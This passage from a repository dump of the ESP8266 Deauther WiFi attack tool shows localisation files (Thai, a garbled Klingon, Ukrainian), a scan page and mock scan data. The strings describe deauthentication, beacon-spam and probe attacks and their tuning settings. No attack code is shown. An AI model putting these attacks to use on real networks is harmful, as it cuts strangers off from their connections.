เมื่อคุณเลือกเป้าหมายหลายรายการที่ทำงานในช่องทางที่แตกต่างกันและเริ่มการโจมตีมันจะสลับไปมาระหว่างช่องสัญญาณเหล่านั้นอย่างรวดเร็วและคุณไม่มีโอกาสเชื่อมต่อกับเว็บอินเตอร์เฟสอีกครั้ง \\n \",\n\"beacon_desc\": \"แพ็คเก็ต Beacon ใช้เพื่อโฆษณาจุดเชื่อมต่อโดยการส่งแพ็คเก็ตสัญญาณอย่างต่อเนื่องจะดูเหมือนว่าคุณสร้างเครือข่าย WiFi ใหม่ \\n คุณสามารถระบุชื่อเครือข่ายภายใต้ SSID\",\n\"probe_desc\": \"คำขอโพรบถูกส่งโดยอุปกรณ์ไคลเอนต์เพื่อสอบถามว่ามีเครือข่ายที่รู้จักอยู่ใกล้ ๆ หรือไม่ \\n ใช้การโจมตีนี้เพื่อสร้างความสับสนให้กับตัวติดตาม WiFi โดยขอเครือข่ายที่คุณระบุในรายการ SSID \\n ไม่น่าเป็นไปได้ การโจมตีครั้งนี้กับเครือข่ายในบ้านของคุณ \",\n\"setting_version\": \"หมายเลขเวอร์ชัน, เช่น v2.0. \\n การตั้งค่านี้สามารถเปลี่ยนแปลงได้ในซอร์สโค้ดเท่านั้น\",\n\"setting_ssid\": \"SSID ของจุดเชื่อมต่อที่ใช้สำหรับเว็บอินเตอร์เฟส (หากเปิดใช้งาน) \\n ความยาวต้องอยู่ระหว่าง 1 ถึง 31 อักขระ\",\n\"setting_password\": \"รหัสผ่านของจุดเชื่อมต่อที่ใช้สำหรับเว็บอินเตอร์เฟส (หากเปิดใช้งาน) \\n ความยาวต้องอยู่ระหว่าง 8 ถึง 31 อักขระ\",\n\"setting_channel\": \"แชนเนล WiFi เริ่มต้นที่ใช้เมื่อเริ่มต้น\",\n\"setting_hidden\": \"ซ่อนจุดเชื่อมต่อที่ใช้สำหรับเว็บอินเตอร์เฟส (หากเปิดใช้งาน)\",\n\"setting_captivePortal\": \"เปิดใช้งานพอร์ทัลเชลยสำหรับจุดเข้าใช้งาน (ถ้าเปิดใช้งาน)\",\n\"setting_autosave\": \"เปิดใช้งานการบันทึก SSID ชื่ออุปกรณ์และการตั้งค่าอัตโนมัติ\",\n\"setting_autosavetime\": \"ช่วงเวลาสำหรับการบันทึกอัตโนมัติเป็นมิลลิวินาที\",\n\"setting_display\": \"เปิดใช้งานอินเทอร์เฟซการแสดงผล\",\n\"setting_displayTimeout\": \"เวลาในหน่วยวินาทีหลังจากที่จอแสดงผลปิดทำงานเมื่อไม่ได้ใช้งาน \\n หากต้องการปิดใช้งานการหมดเวลาแสดงผลให้ตั้งค่าเป็น 0\",\n\"setting_serial\": \"เปิดใช้งานส่วนต่อประสานอนุกรม \\n ขอแนะนำไม่ให้ปิดใช้งาน!\",\n\"setting_serialEcho\": \"เปิดใช้งาน echo สำหรับแต่ละข้อความขาเข้าผ่านซีเรียล\",\n\"setting_web\": \"เปิดใช้งานเว็บอินเตอร์เฟส\",\n\"setting_webSpiffs\": \"เปิดใช้งาน SPIFFS สำหรับไฟล์เว็บทั้งหมด\",\n\"setting_led\": \"เปิดใช้งานคุณสมบัติ LED (RGB)\",\n\"setting_maxch\": \"แชนเนลสูงสุดที่จะสแกน \\nUS = 11, EU = 13, Japan = 14. \",\n\"setting_macAP\": \"ที่อยู่ MAC ที่ใช้สำหรับโหมดจุดเข้าใช้งาน \\n โปรดทราบว่าที่อยู่ MAC จะแทนที่ที่อยู่ MAC ภายในเท่านั้นเมื่อเปิดใช้งานโหมดจุดเข้าใช้งาน\",\n\"setting_macSt\": \"ที่อยู่ MAC ที่ใช้สำหรับโหมดสถานี \\n โปรดทราบว่าที่อยู่ MAC จะแทนที่ที่อยู่ MAC ภายในเท่านั้นเมื่อเปิดใช้งานโหมดสถานี\",\n\"setting_chtime\": \"เวลาสำหรับการสแกนหนึ่งช่องก่อนที่จะไปยังช่องถัดไปเป็นมิลลิวินาที (เฉพาะเมื่อเปิดใช้งานการกระโดดของช่อง)\",\n\"setting_minDeauths\": \"จำนวนขั้นต่ำของการพิสูจน์ตัวตนเฟรมเมื่อสแกนเพื่อเปลี่ยน LED เป็นโหมด deauth\",\n\"setting_attacktimeout\": \"หลังจากจำนวนเวลา (เป็นวินาที) การโจมตีจะหยุดโดยอัตโนมัติ \\n ตั้งค่าเป็น 0 เพื่อปิดการใช้งาน\",\n\"setting_forcepackets\": \"ความพยายามในการส่งแพ็กเก็ตออกไปกี่ครั้ง \\n ตั้งค่านี้ให้สูงขึ้นหากคุณต้องการอัตราการส่งแพ็กเก็ตที่ดีขึ้นในพื้นที่ไม่ว่าง \\n โปรดระวังการตั้งค่านี้อาจทำให้อุปกรณ์ช้าลงหรือไม่เสถียร \\nMax คือ 255! \",\n\"setting_deauthspertarget\": \"มีการส่งเฟรมการยกเลิกการตรวจสอบสิทธิ์และการยกเลิกการเชื่อมโยงจำนวนเท่าใดสำหรับแต่ละเป้าหมาย\",\n\"setting_deauthReason\": \"รหัสเหตุผลที่ส่งมาพร้อมกับเฟรม deauth เพื่อบอกอุปกรณ์เป้าหมายว่าทำไมการเชื่อมต่อจะถูกปิด\",\n\"setting_beaconchannel\": \"หากเปิดใช้งานจะส่งเฟรมทั้งหมดในช่องทางที่แตกต่างกันเมื่อเรียกใช้การโจมตีด้วยสัญญาณบีคอน\",\n\"setting_beaconInterval\": \"หากตั้งค่าจริงบีคอนจะถูกส่งออกทุกวินาทีหากตั้งค่าเป็นเท็จช่วงเวลาจะเป็น 100ms \\n ช่วงเวลาที่ยาวนานขึ้นหมายถึงความเสถียรที่มากขึ้นและการส่งสแปมน้อยลง แต่อาจใช้เวลานานกว่านี้ เอสเอสเมื่อสแกน \",\n\"setting_randomTX\": \"เปิดใช้งานการส่งพลังงานแบบสุ่มสำหรับการส่งสัญญาณและเฟรมคำขอโพรบ\",\n\"setting_probesPerSSID\": \"มีการส่งเฟรมคำขอโพรบจำนวนเท่าใดสำหรับแต่ละ SSID\",\n\"setting_lang\": \"ภาษาเริ่มต้นสำหรับเว็บอินเตอร์เฟส \\n โปรดแน่ใจว่ามีไฟล์ภาษาอยู่!\"\n"
  },
  {
    "path": "web_interface/lang/tlh.lang",
    "content": "{\n  \"lang\": \"tlh\",\n  \"warning\": \"WARNING\",\n  \"disclaimer\": \"jInmol tob concept waH 'ej educational ngoQ. nneither qej esp8266, 'ej \\nsdk joq vIq ngoQ qach. laH may' yotlhDaq ghew! nnuse 'oH neH against \\nnetworks jan 'ej! mub regulations neH Sep check nnit lo' neH ieee 802.11\\n Hol Del 'ej wej bot pagh vay' Se'. nplease nIS Dalbogh qeylIS-fi valid \\npa' it.nnplease yIlo' Qo' refer je \\\"jammer jInmol\\\", wImevmo' jInmol real\\n totally undermines 'e'! nif SoHvaD, 'e' vay' nuq for. npublishing 'a \\nghIH vIHtaHbogh Hutlh Hutlh proper Qam jInmol vIchel yaj SoH neH tob 'oH\\n 'e' neH ruch clicks, fame qoj Huch 'ej pagh wIqelDI', maHeDnIS \\nintellectual bang ghaj, latlh De' Such De''e' 'oH je SuvtaHvIS Dunmo' \\nwifi standard.nnfor community cha' SuvwI' explanation:\",\n  \"disclaimer-button\": \"laD je tu' wovbe' yaj jIH\",\n  \"reload\": \"Reload\",\n  \"scan\": \"Hotlh\",\n  \"ssids\": \"SSIDs\",\n  \"attacks\": \"HIv\",\n  \"settings\": \"HIjmeH\",\n  \"info\": \"De'\",\n  \"info_span\": \"De': \",\n  \"all\": \"Hoch\",\n  \"channel\": \"Channel\",\n  \"devices\": \"toD jan\",\n  \"select_all\": \"Hoch wIv\",\n  \"deselect_all\": \"Hoch de-wIv\",\n  \"remove_all\": \"Hoch teq\",\n  \"station_scan_time\": \"yaH Hotlh poH\",\n  \"new\": \"chu'\",\n  \"save\": \"choq\",\n  \"add\": \"boq\",\n  \"add_selected\": \"wIv ap clone\",\n  \"overwrite\": \"rIn ghItlh\",\n  \"time_interval\": \"poH interva\",\n  \"number\": \"ml'\",\n  \"targets\": \"ray'\",\n  \"scan_info\": \"-Hotlh click 'ej loS until tlhe' (pagh choH SuD SuD led tIj), vaj click Reload. n-'ej bebvo' interface unavailable during yaH Hotlh 'ej reconnect Daghaj! DubelmoHchugh neH wa' DoS wIv n-! n\\n\",\n  \"ssids_info\": \"-lo' tetlh ssid beacon 'op Reload click qaSpu'DI' ssid. n cloning nejwI' HIv. n-Hoch ssid laH Da'elDI' vItoDmeH ghorgh ssid.n-SoH edited SoH click ghewmey lIj 32 vuDmey'e'. \\n\",\n  \"attack_info\": \"-connection chaq luj SoH HeghDI' HIv starting! n-DoS wIv bImejnIS deauth reload HIv. n-toD ssid nIS beacon 'ej HIv. n-Click nejwI' packet rate. n refresh\",\n  \"settings_info\": \"-toD reboot. n-Click vay' be 'e' applied choH, qatlh poQ 'op settings. n\",\n  \"info_disclaimer\": \"in case of unexpected Qagh, nuqneH Daq reload 'ej legh jIH serial qaStaHvIS debugging.\",\n  \"start_stop\": \"start ghap mev\",\n  \"start\": \"START\",\n  \"stop\": \"mev\",\n  \"wifi_off\": \"wofo DoH\",\n  \"reboot\": \"re DaS\",\n  \"reset\": \"re HIjmeH\",\n  \"enable_random\": \"Enable Random Mode\",\n  \"disable_random\": \"Disable Random Mode\",\n  \"random_desc\": \"random mode random ssid yoSvetlhDaq generate reH wInobqang interval enable.\",\n  \"deauth_desc\": \"wifi jan connection SoQ pong jan wIv SoHvaD ngeH deauthentication Dalbogh naw' lang client 'ej. nthis DuH neH SeH 802.11w ghewmey lo' jan nIvbogh-2009 Hol against HIv. n-protection offers nuqneH neH wa' DoS wIv! ghorgh multiple DoS 'e' qet pIm channels 'ej start HIv, nom leQ 'oH SabtaHbogh channels 'ej pagh 'eb reconnect 'ej bebvo' interface. n Daghaj wIv SoH\",\n  \"beacon_desc\": \"DanoHmeH beacon packets naw' lang advertise. pong continuously beacon packets 'e' yIQoy, 'oH ngeH network pong bopummeH ssid laH per legh rur chu' wifi networks. nyou chenmoH.\",\n  \"probe_desc\": \"ngeH nejwI' requests pong client jan tlhob vaj Sov network Sum. nuse networks wifi trackers mIS pong botlhobbogh HIv 'e' vay' mup DaqaSmoHbej pong HIv je juH Dachegh network per neH ssid tetlh. nit's ghaytanHa' SoH.\",\n  \"setting_version\": \"laH neH choH version mI', i.e. v2.0.nthis HIjmeH qaStaHvIS Hal ngoq.\",\n  \"setting_ssid\": \"naw' lang lo' 'ej bebvo' interface (vaj enabled) ssid. ghob'e' nthe 'ab SabtaHbogh vuDmey'e' 1 'ej 31.\",\n  \"setting_password\": \"naw' lang lo' 'ej bebvo' interface (vaj enabled) mu'wIj. ghob'e' nthe 'ab SabtaHbogh vuDmey'e' 8 'ej 31.\",\n  \"setting_channel\": \"default wifi channel choHwI'maj HeghDI' starting.\",\n  \"setting_hidden\": \"Hides the access point that is used for the web interface (if enabled).\",\n  \"setting_captivePortal\": \"naw' lang choHwI'maj 'ej bebvo' interface (vaj enabled) So'.\",\n  \"setting_autosave\": \"automatic saving ssid, jan pong 'ej settings enables.\",\n  \"setting_autosavetime\": \"poH interval automatic saving neH milliseconds.\",\n  \"setting_display\": \"interface cha' enables.\",\n  \"setting_displayTimeout\": \"qaSpu'DI' tlhe' bey' DoH HeghDI' inactive cha'DIch poH. bey' timeout Qotlh nto, 'oH lut'e' 0.\",\n  \"setting_serial\": \"serial interface. nit's 'oH Qotlh chup enables!\",\n  \"setting_serialEcho\": \"Enables echo for each incoming message over serial.\",\n  \"setting_web\": \"'ej bebvo' interface enables.\",\n  \"setting_webSpiffs\": \"Enables SPIFFS for all web files.\",\n  \"setting_led\": \"(rgb) led feature enables.\",\n  \"setting_maxch\": \"max. channel Hotlh. nus 11, eu = 13, nIpon = = 14.\",\n  \"setting_macAP\": \"mac SoQ lo' naw' lang mode. nplease note 'e' internal mac SoQ neH ngaSwI' yuvtlhe' wIngaQmoHta'DI' mac SoQ HeghDI' enabled accesspoint mode.\",\n  \"setting_macSt\": \"mac SoQ yaH mode. nplease note 'e' internal mac SoQ neH ngaSwI' yuvtlhe' wIngaQmoHta'DI' mac SoQ HeghDI' enabled yaH mode lo'.\",\n  \"setting_chtime\": \"Time for Qo'noS poH wa' channel Hotlh pa' ghoS jIbuSchoH neH milliseconds (neH vaj enabled channel hopping). one channel before going to the next in milliseconds (only if channel hopping is enabled).\",\n  \"setting_minDeauths\": \"deauthentication Dalbogh HeghDI' Hotlh led wIQaw'laH deauth mode minimum mI'.\",\n  \"setting_attacktimeout\": \"qaSpu'DI' poH (qaStaHvIS lup) amount nuq mev HIv automatically. nset 'oH 0 'oH Qotlh.\",\n  \"setting_forcepackets\": \"HoSghajbej janvam slower pagh vI'Iprup unstable vutmeH setting rate neH busy mIchHom. nbe chong 'ar nID lo'laHghach veb lungeH packet. nset vaj packet Dunmo' chav DaneH'a'. nmax lo'laHghach 255!\",\n  \"setting_deauthspertarget\": \"ngeH 'ar deauthentication disassociation 'ej Dalbogh Hoch DoS.\",\n  \"setting_deauthReason\": \"meq ngoq 'e' ngeH deauth Dalbogh jatlh DoS jan qatlh SoQ connection.\",\n  \"setting_beaconchannel\": \"vaj enabled, vaj Hoch Dalbogh ngeH pIm channels HeghDI' beacon HIv qet.\",\n  \"setting_beaconInterval\": \"vaj HIjmeH teH, ngeH beacons Hoch cha'DIch. tlhoy HIjmeH ngeb, interval 100ms.na nI'qu' neH stability 'ej qup spamming packets qej interval 'ach 'oH laH tlhap nI'qu' until ssids vItu' clients HeghDI' Hotlh.\",\n  \"setting_randomTX\": \"HoS ngeH beacon 'ej request Dalbogh nejwI' enables randomized transmission.\",\n  \"setting_probesPerSSID\": \"ngeH 'ar nejwI' request Dalbogh Hoch ssid.\",\n  \"setting_lang\": \"'ej bebvo' interface. nbe be nIv'e' Hol teywI' Hol default!\"\n}\n"
  },
  {
    "path": "web_interface/lang/uk.lang",
    "content": "{\n    \"lang\": \"uk\",\n    \"warning\": \"ПОПЕРЕДЖЕННЯ\",\n    \"disclaimer\": \"Цей проект можна використовувати тільки для тестування і в освітніх цілях. \\nВикористовуйте його тільки для своїх мереж і пристроїв! \\nВикористовує дійсні фрейми Wi-Fi, описані в стандарті IEEE 802.11, не блокує і не перериває які-небудь частоти.\\nБудь ласка, ознайомтеся з правовими нормами у своєму країни, перш ніж використовувати цей код. \\n\\nБудь ласка, не звертайтеся до цього проекту як «jammer», що повністю підриває реальну мету цього проекту! \\nЯкщо ви це зробите, це тільки доведе, що ви нічого не розуміли з того, що цей проект означає. \\nПублікація контенту про це без належного пояснення показує, що ви робите це тільки за кліки, славу і гроші, і не поважаєте інтелектуальну власність, співтовариство за нею і боротьбу за кращий стандарт WiFi . \\n\\nДля отримання додаткової інформації відвідайте:\",\n  \"disclaimer-button\": \"Я прочитав і зрозумів повідомлення вище\",\n  \"reload\": \"Оновити\",\n  \"scan\": \"Сканувати\",\n  \"ssids\": \"SSIDs\",\n  \"attacks\": \"Атаки\",\n  \"settings\": \"Конфігурація\",\n  \"info\": \"Інформація\",\n  \"info_span\": \"Інформація: \",\n  \"all\": \"Всі\",\n  \"channel\": \"Канал\",\n  \"devices\": \"Зберегти пристрій\",\n  \"select_all\": \"Вибрати все\",\n  \"deselect_all\": \"Відмінити всі\",\n  \"remove_all\": \"Видалити всі\",\n  \"station_scan_time\": \"Час сканування станцій\",\n  \"new\": \"Нове\",\n  \"save\": \"Зберегти\",\n  \"add\": \"Додати\",\n  \"add_selected\": \"Клонувати вибрані APs\",\n  \"overwrite\": \"Затерти\",\n  \"time_interval\": \"Часовий інтервал\",\n  \"number\": \"Номер\",\n  \"targets\": \"Цілі\",\n  \"scan_info\": \"- Натисніть кнопку «Сканувати» і почекайте, поки синій світлодіод на вашій платі не згасне (чи не стане зеленим), а потім натисніть кнопку «Оновити». \\n- Веб-інтерфейс буде недоступний під час сканування мережі, і вам потрібно буде знову підключитися! \\n- Будь ласка виберіть тільки одну мету! \\n\",\n  \"ssids_info\": \"- Цей список SSID використовується для атаки маяка і зонда. \\n- Кожен SSID може містити до 32 символу. \\n- Не забудьте натиснути «Зберегти», коли ви відредагували SSID. \\n- Ви повинні натиснути «Оновити» після клонування SSID. \\n\",\n  \"attack_info\": \"- Ви можете втратити з'єднання при запуску атаки! \\n- Вам потрібно вибрати мету для атаки deauth. \\n- Вам потрібен збережений SSID для атаки маяка і зонда. \\n- Натисніть перезавантажити, щоб оновити швидкість передачі пакетів. \\n\",\n  \"settings_info\": \"- Деякі налаштування потребують перезавантаження. \\n- Натисніть «Зберегти», щоб переконатися, що ваші зміни застосовані. \\n\",\n  \"info_disclaimer\": \"У разі непередбаченої помилки перезавантажте сайт і подивіться на послідовний монітор для подальшого налагодження.\",\n  \"start_stop\": \"СТАРТ / СТОП\",\n  \"start\": \"СТАРТ\",\n  \"stop\": \"СТОП\",\n  \"wifi_off\": \"WiFi Вимкнути\",\n  \"reboot\": \"Перезавантажити\",\n  \"reset\": \"Скидання\",\n  \"enable_random\": \"Включити режим Рендомний\",\n  \"disable_random\": \"Вимкнути режим Рендомний\",\n  \"random_desc\": \"Увімкніть випадковий режим для створення випадкового списку SSID в заданий інтервал.\",\n  \"deauth_desc\": \"Закриває підключення WiFi-пристроїв, відправляючи фрейми деаутентификации для доступу до точок та обраним клієнтських пристроїв. \\nЦе можливо тільки тому, що багато пристрою не використовують стандарт 802.11 w-2009, який забезпечує захист від цієї атаки. \\n- Виберіть тільки одну мету! Коли ви вибираєте кілька цілей, які запускаються на різних каналах і запускають атаку, вони швидко перемикаються між цими каналами, і у вас немає шансів повторно підключитися до веб-інтерфейсу. \\n\",\n  \"beacon_desc\": \"Маяковые пакети використовуються для реклами точок доступу. Постійно відправляючи пакети маяковых радіостанцій, це буде виглядати так, як ніби ви створили нові WiFi-мережі. \\nВи можете вказати мережеві імена під SSID.\",\n  \"probe_desc\": \"Запити зонда відправляються клієнтськими пристроями, щоб запитати, чи відома мережа поблизу. \\nВикористовуйте цю атаку, щоб заплутати WiFi-трекери, запросивши мережі, які ви вказали в списку SSID. \\nУ малоймовірно, що ви побачите який-небудь вплив цієї атаки на ваш домашню мережу.\",\n  \"setting_version\": \"Номер версії, Тобто V2.0. \\nЦю настройку можна змінити лише у вихідному коді.\",\n  \"setting_ssid\": \"SSID точки доступу, що використовується для веб-інтерфейсу (якщо дозволено). \\nДовжина повинна бути від 1 до 31 символу.\",\n  \"setting_password\": \"Пароль точки доступу, що використовується для веб-інтерфейсу (якщо включений). \\nДовжина повинна бути від 8 до 31 символу.\",\n  \"setting_channel\": \"Стандартний WiFi-канал, який використовується при запуску.\",\n  \"setting_hidden\": \"Приховує точку доступу, яка використовується для веб-інтерфейсу (якщо включена).\",\n  \"setting_captivePortal\": \"Включає доступний портал для точки доступу (якщо включений).\",\n  \"setting_autosave\": \"Включає автоматичне збереження SSID, імен пристроїв і налаштувань.\",\n  \"setting_autosavetime\": \"Інтервал часу для автоматичного збереження в мілісекундах.\",\n  \"setting_display\": \"Включає інтерфейс відображення.\",\n  \"setting_displayTimeout\": \"Час в секундах, після якого дисплей вимикається, коли він неактивний. \\nЩоб відключити таймаут відображення, встановіть його в 0.\",\n  \"setting_serial\": \"Включає послідовний інтерфейс. \\nНе рекомендується відключати його!\",\n  \"setting_serialEcho\": \"Включає ехо для кожного вхідного повідомлення через послідовний порт.\",\n  \"setting_web\": \"Включає веб-інтерфейс.\",\n  \"setting_webSpiffs\": \"Включає SPIFFS для всіх веб-файлів.\",\n  \"setting_led\": \"Включає функцію (RGB) LED.\",\n  \"setting_maxch\": \"Максимальний канал для сканування. \\nUS = 11, EU = 13, Японія = 14.\",\n  \"setting_macAP\": \"MAC-адреса, що використовується для режиму точки доступу. \\nЗверніть увагу, що MAC-адресу замінює тільки внутрішній MAC-адресу, коли включений режим точки доступу.\",\n  \"setting_macSt\": \"MAC-адреса, що використовується для режиму станції. \\nБудь ласка, зверніть увагу, що MAC-адресу замінить тільки внутрішній MAC-адресу, коли включений режим станції.\",\n  \"setting_chtime\": \"Час сканування одного каналу перед переходом до наступного в мілісекундах (тільки якщо включений перемикання каналів).\",\n  \"setting_minDeauths\": \"Мінімальна кількість кадрів деаутентификации при скануванні для зміни світлодіода в режим deauth.\",\n  \"setting_attacktimeout\": \"Через деякий час (у секундах) атака автоматично зупиниться. \\nВстановіть її на 0, щоб вимкнути її.\",\n  \"setting_forcepackets\": \"Скільки спроб відправити пакет. \\nВстановите це значення вище, якщо ви хочете досягти більш високої швидкості передачі пакетів у завантаженій області. \\nПереконайтеся, що цей параметр може зробити пристрій більш повільним або більш нестійким. \\nМаксимальне значення - 255!\",\n  \"setting_deauthspertarget\": \"Скільки кадрів деаутентификации і дизассемблирования відправляється для кожної цілі.\",\n  \"setting_deauthReason\": \"Код причини, що відправляється з кадрами deauth, щоб повідомити цільового пристрою, чому з'єднання буде закрито.\",\n  \"setting_beaconchannel\": \"Якщо увімкнено, то буде відправлено всі кадри по різних каналах при запуску атаки маяка.\",\n  \"setting_beaconInterval\": \"Якщо встановлено true, маяки будуть відправлятися кожну секунду. Якщо встановлено значення false, інтервал буде дорівнює 100 мкс. \\nA більше тривалий інтервал означає більшу стабільність і менше спаму пакетів, але це може зайняти більше часу, поки клієнти не знайдуть ssids при скануванні.\",\n  \"setting_randomTX\": \"Дозволяє рандомизированную потужність передачі для відправки кадрів маяка і зонда запиту.\",\n  \"setting_probesPerSSID\": \"Скільки кадрів запиту запиту надсилається для кожного SSID.\",\n  \"setting_lang\": \"Мову за замовчуванням для веб-інтерфейсу. \\nПереконайтеся, що мовний файл існує!\"\n}"
  },
  {
    "path": "web_interface/names.json",
    "content": "[\r\n\t[\r\n\t\t\"b8:1d:aa:d5:6f:f0\",\r\n\t\t\"don't!\",\r\n\t\t\"[[[[not mine]]]]\",\r\n\t\t\"\",\r\n\t\t1,\r\n\t\ttrue\r\n\t]\r\n\t,[\r\n\t\t\"f4:6b:de:da:8d:95\",\r\n\t\t\"Spacehuhn\",\r\n\t\t\"--SpaceRouter!--\",\r\n\t\t\"\",\r\n\t\t1,\r\n\t\tfalse\r\n\t]\r\n\t,[\r\n\t\t\"00:11:22:33:44:55\",\r\n\t\t\"TEST\",\r\n\t\t\"JS sucks!\",\r\n\t\t\"5c:37:3b:f7:67:be\",\r\n\t\t1,\r\n\t\ttrue\r\n\t]\r\n]"
  },
  {
    "path": "web_interface/run",
    "content": "Empty file :D"
  },
  {
    "path": "web_interface/scan.html",
    "content": "<!--- This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther -->\r\n\r\n<!Doctype html>\r\n<html>\r\n\r\n<head>\r\n\t<meta charset=\"UTF-8\">\r\n\t<meta name=\"viewport\" content=\"width=device-width, initial-scale=0.8, minimal-ui\">\r\n\t<meta name=\"theme-color\" content=\"#36393E\">\r\n\r\n\t<meta name=\"description\" content=\"ESP8266 Deauther\">\r\n\t<title>ESP8266 Deauther</title>\r\n\r\n\t<link rel=\"stylesheet\" type=\"text/css\" href=\"style.css\">\r\n\t<script src=\"js/site.js\"></script>\r\n\t<script src=\"js/scan.js\"></script>\r\n</head>\r\n\r\n<body onload=\"loadLang()\">\r\n\t<nav>\r\n\t\t<ul class=\"menu\">\r\n\t\t\t<li><a href=\"scan.html\" data-translate=\"scan\">Scan</a></li>\r\n\t\t\t<li><a href=\"ssids.html\" data-translate=\"ssids\">SSIDs</a></li>\r\n\t\t\t<li><a href=\"attack.html\" data-translate=\"attacks\">Attack</a></li>\r\n\t\t\t<li><a href=\"settings.html\" data-translate=\"settings\">Settings</a></li>\r\n\t\t</ul>\r\n\t</nav>\r\n\r\n\t<div id=\"status\"></div>\r\n\r\n\t<div class=\"container\">\r\n\t\t<div class=\"row\">\r\n\t\t\t<div class=\"col-12\">\r\n\t\t\t\t<h1 class=\"header\" data-translate=\"scan\">Scan</h1>\r\n\r\n\t\t\t\t<button id=scanZero onclick=\"scan(0)\">Scan APs</button>\r\n\t\t\t\t<button id=scanOne onclick=\"scan(1)\">Scan Stations</button>\r\n\t\t\t\t<button id=RButton onclick=\"load()\" data-translate=\"reload\" class=\"right\">Reload</button>\r\n\t\t\t</div>\r\n\t\t</div>\r\n\t\t<div class=\"row\">\r\n\t\t\t<div class=\"col-6\">\r\n\t\t\t\t<label for=\"ch\" data-translate=\"channel\">Channel</label>\r\n\t\t\t</div>\r\n\t\t\t<div class=\"col-6\">\r\n\t\t\t\t<select id=\"ch\" name=\"ch\">\r\n\t\t\t\t\t<option value=\"all\" data-translate=\"all\">All</option>\r\n\t\t\t\t\t<option value=\"1\">1</option>\r\n\t\t\t\t\t<option value=\"2\">2</option>\r\n\t\t\t\t\t<option value=\"3\">3</option>\r\n\t\t\t\t\t<option value=\"4\">4</option>\r\n\t\t\t\t\t<option value=\"5\">5</option>\r\n\t\t\t\t\t<option value=\"6\">6</option>\r\n\t\t\t\t\t<option value=\"7\">7</option>\r\n\t\t\t\t\t<option value=\"8\">8</option>\r\n\t\t\t\t\t<option value=\"9\">9</option>\r\n\t\t\t\t\t<option value=\"10\">10</option>\r\n\t\t\t\t\t<option value=\"11\">11</option>\r\n\t\t\t\t\t<option value=\"12\">12</option>\r\n\t\t\t\t\t<option value=\"13\">13</option>\r\n\t\t\t\t\t<option value=\"14\">14</option>\r\n\t\t\t\t</select>\r\n\t\t\t</div>\r\n\t\t</div>\r\n\t\t<div class=\"row\">\r\n\t\t\t<div class=\"col-6\">\r\n\t\t\t\t<label data-translate=\"station_scan_time\">Station Scan Time</label>\r\n\t\t\t</div>\r\n\t\t\t<div class=\"col-6\">\r\n\t\t\t\t<input type=\"number\" value=\"15\" id=\"scanTime\">s\r\n\t\t\t</div>\r\n\t\t</div>\r\n\t\t<div class=\"row\">\r\n\t\t\t<div class=\"col-12\">\r\n\t\t\t\t<p>\r\n\t\t\t\t\t<span class=\"red\" data-translate=\"info_span\">INFO: </span><br>\r\n\t\t\t\t\t<span data-translate=\"scan_info\">\r\n\t\t\t\t\t\t- Click Scan and wait until the blue LED on your board turns off (or changes to green), then\r\n\t\t\t\t\t\tclick on Reload.<br>\r\n\t\t\t\t\t\t- The web interface will be unavailable during a station scan and you will have to\r\n\t\t\t\t\t\treconnect!<br>\r\n\t\t\t\t\t\t- Please select only one target!<br>\r\n\t\t\t\t\t</span>\r\n\t\t\t\t\t<span data-translate=\"info_disclaimer\">In case of an unexpected error, please reload the site and\r\n\t\t\t\t\t\tlook at the serial monitor for further debugging.</span>\r\n\t\t\t\t</p>\r\n\r\n\t\t\t\t<hr>\r\n\r\n\t\t\t\t<h2><span>Access Points</span>: <span id=\"apNum\"></span></h2>\r\n\t\t\t\t<table id=\"apTable\"></table>\r\n\t\t\t\t<button onclick=\"selectAll(0,true)\" data-translate=\"select_all\">select all</button>\r\n\t\t\t\t<button onclick=\"selectAll(0,false)\" data-translate=\"deselect_all\">deselect all</button>\r\n\r\n\t\t\t\t<hr>\r\n\r\n\t\t\t\t<h2><span>Stations</span>: <span id=\"stNum\"></span></h2>\r\n\t\t\t\t<table id=\"stTable\"></table>\r\n\t\t\t\t<button onclick=\"selectAll(1,true)\" data-translate=\"select_all\">select all</button>\r\n\t\t\t\t<button onclick=\"selectAll(1,false)\" data-translate=\"deselect_all\">deselect all</button>\r\n\r\n\t\t\t\t<hr>\r\n\r\n\t\t\t\t<h2><span data-translate=\"devices\">Saved Devices</span>: <span id=\"nNum\"></span></h2>\r\n\t\t\t\t<table id=\"nTable\"></table>\r\n\t\t\t\t<button onclick=\"selectAll(2,true)\" data-translate=\"select_all\">select all</button>\r\n\t\t\t\t<button onclick=\"selectAll(2,false)\" data-translate=\"deselect_all\">deselect all</button>\r\n\t\t\t\t<button onclick=\"add(2)\" data-translate=\"new\">new</button>\r\n\t\t\t</div>\r\n\t\t</div>\r\n\t</div>\r\n\t<footer>\r\n\t\t<span id=\"version\">Version 2.6.1</span>\r\n\t\t<br>\r\n\t\t<br>\r\n\t\t<a href=\"http://deauther.maltronics.com\" target=\"_blank\">Wiki</a> | <a href=\"info.html\">Credits</a>\r\n\t</footer>\r\n</body>\r\n\r\n</html>"
  },
  {
    "path": "web_interface/scan.json",
    "content": "{\r\n   \"aps\":[\r\n      [\r\n         \"Don't\",\r\n         \"--SpaceRouter!--\",\r\n         6,\r\n         -57,\r\n         \"WPA2\",\r\n         \"f4:6b:de:da:8d:95\",\r\n         \"Spacehuhn\",\r\n         false\r\n      ],\r\n      [\r\n         \"call\",\r\n         \"\",\r\n         1,\r\n         -80,\r\n         \"-\",\r\n         \"cc:cf:1e:d5:5b:2b\",\r\n         \"SpaceLtd\",\r\n         true\r\n      ],\r\n      [\r\n         \"it\",\r\n         \"\",\r\n         6,\r\n         -81,\r\n         \"WPA*\",\r\n         \"5c:37:3b:f7:67:be\",\r\n         \"SpaceBox\",\r\n         false\r\n      ],\r\n      [\r\n         \"a\",\r\n         \"\",\r\n         8,\r\n         -82,\r\n         \"WPA2\",\r\n         \"cd:ce:1e:0a:4e:9e\",\r\n         \"SpacEEE\",\r\n         false\r\n      ],\r\n      [\r\n         \"jammer\",\r\n         \"\",\r\n         8,\r\n         -83,\r\n         \"WPA2\",\r\n         \"c7:0e:14:95:a1:3b\",\r\n         \"Chicken!\",\r\n         false\r\n      ],\r\n\t  [\r\n         \"Don't call it a Jammer! DON'T !!\",\r\n         \"\",\r\n         8,\r\n         -90,\r\n         \"WPA2\",\r\n         \"c8:0e:14:95:a1:3b\",\r\n         \"Huhn\",\r\n         false\r\n      ]\r\n   ],\r\n   \"stations\":[\r\n      [\r\n         \"04:d7:aa:dc:6e:5a\",\r\n         6,\r\n         \"\",\r\n         \"Just\",\r\n         168,\r\n         2,\r\n         \"<1sec\",\r\n         false\r\n      ],\r\n  \r\n      